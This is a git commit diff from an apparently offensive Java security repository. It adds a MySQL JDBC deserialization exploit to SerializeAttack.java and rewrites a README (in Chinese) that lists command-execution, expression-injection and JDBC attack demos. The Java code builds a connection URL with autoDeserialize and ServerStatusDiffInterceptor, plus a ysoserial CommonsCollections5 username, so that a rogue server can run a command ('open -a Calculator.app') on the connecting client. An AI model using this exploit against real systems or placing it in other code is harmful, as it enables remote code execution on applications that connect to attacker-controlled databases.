update JDBC Attack mysql :)

Whoopsunix · Whoopsunix · commit cba2dbb7de02 · 2023-09-01T10:46:58.000+08:00
diff --git a/JDBCAttack/pom.xml b/JDBCAttack/pom.xml
@@ -18,7 +18,7 @@
       <groupId>mysql</groupId>
       <artifactId>mysql-connector-java</artifactId>
 <!--        <version>3.1.11</version>-->
-<!--        <version>5.1.19</version>-->
+<!--        <version>5.1.29</version>-->
 <!--      <version>6.0.6</version>-->
             <version>8.0.19</version>
     </dependency>
diff --git a/JDBCAttack/src/main/java/org/example/mysql/SerializeAttack.java b/JDBCAttack/src/main/java/org/example/mysql/SerializeAttack.java
@@ -2,6 +2,8 @@
 
 import java.sql.Connection;
 import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
 
 /**
  * 反序列化
@@ -12,6 +14,21 @@
  */
 public class SerializeAttack {
     public static void main(String[] args) throws Exception {
+        /**
+         * [5.1.1, 5.1.10]
+         * 使用 statementInterceptors 参数
+         * 需要通过 查询调用
+         */
+        String serializeAttackUrl_5_1_10 = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_open -a Calculator.app";
+        String username = "yso_CommonsCollections5_open -a Calculator.app";
+        String password = "";
+        Class.forName("com.mysql.jdbc.Driver");
+        Connection con = DriverManager.getConnection(serializeAttackUrl_5_1_10, username, password);
+        String sql = "select database()";
+        PreparedStatement ps = con.prepareStatement(sql);
+        ResultSet resultSet = ps.executeQuery();
+
+
         /**
          * [5.1.11, 5.1.48]
          * 使用 statementInterceptors 参数
@@ -46,9 +63,7 @@ public static void main(String[] args) throws Exception {
 //        String driver = "com.mysql.jdbc.Driver";
 //        Class.forName(driver);
 
-
-        Connection connection = DriverManager.getConnection(serializeAttackUrl_8_7_19);
-
+        Connection connection = DriverManager.getConnection(serializeAttackUrl_5_29_40);
 
     }
 
diff --git a/README.md b/README.md
@@ -4,13 +4,29 @@ By. Whoopsunix
 
 # 0x00 do what?
 
-Java 能获取到权限的 Demo，目前涵盖命令执行、表达式、内存马、JDBC、反序列化、工具类
+对照实战场景梳理 Java Rce 相关漏洞进一步利用方式
 
-# 命令执行
+## 目录
 
-参考 [javaweb-sec](https://github.com/javaweb-sec/javaweb-sec) 很详细
+- [命令执行](#0x01-command)
+    - [执行Demo](#执行demo)
+    - [执行结果输出（InputStream 处理Demo）](#执行结果输出（InputStream 处理Demo）)
+- [表达式注入](#0x02-expression-inject)
+    - [OGNL](#ognl)
+        - get、set执行，sout输出时的回显
+    - [SPEL](#spel)
+- [JDBC Attack](#0x03-jdbc-attack)
+    - mysql
 
-## 执行方式
+目前涵盖：命令执行及输出、表达式及输出、内存马、JDBC、反序列化、工具类
+
+# 0x01 Command
+
+参考 [javaweb-sec](https://github.com/javaweb-sec/javaweb-sec) 有很详细的例子
+
+[命令执行 Demo](Command)
+
+## 执行Demo
 
 - [x] Runtime
 - [x] ProcessBuilder
@@ -31,21 +47,28 @@ Java 能获取到权限的 Demo，目前涵盖命令执行、表达式、内存
 - [x] org.springframework:spring-core
 - [x] org.apache.commons:commons-io
 
-# 表达式注入
+# 0x02 expression inject
 
-## OGNL
+[表达式注入 Demo](Expression)
 
-## SPEL
+## OGNL
 
+- [x] 普通执行demo：get、set
+- [x] 有sout的回显 (Ps. 通过 Servlet 的回显移到 RceEcho 章节介绍)
+    - 原生
+    - base64加密
 
+# 0x03 JDBC Attack
 
-# JDBC相关
+## [mysql](JDBCAttack)
 
-# 内存马
+- [x] 文件读取
+- [x] 反序列化
 
-# 参考
+# 感谢师傅们的研究 带来了很大的帮助 :)
 
 > https://github.com/javaweb-sec/javaweb-sec
-> 
+>
 > https://github.com/yzddmr6/Java-Js-Engine-Payloads
-> 
+>
+> https://github.com/su18/JDBC-Attack
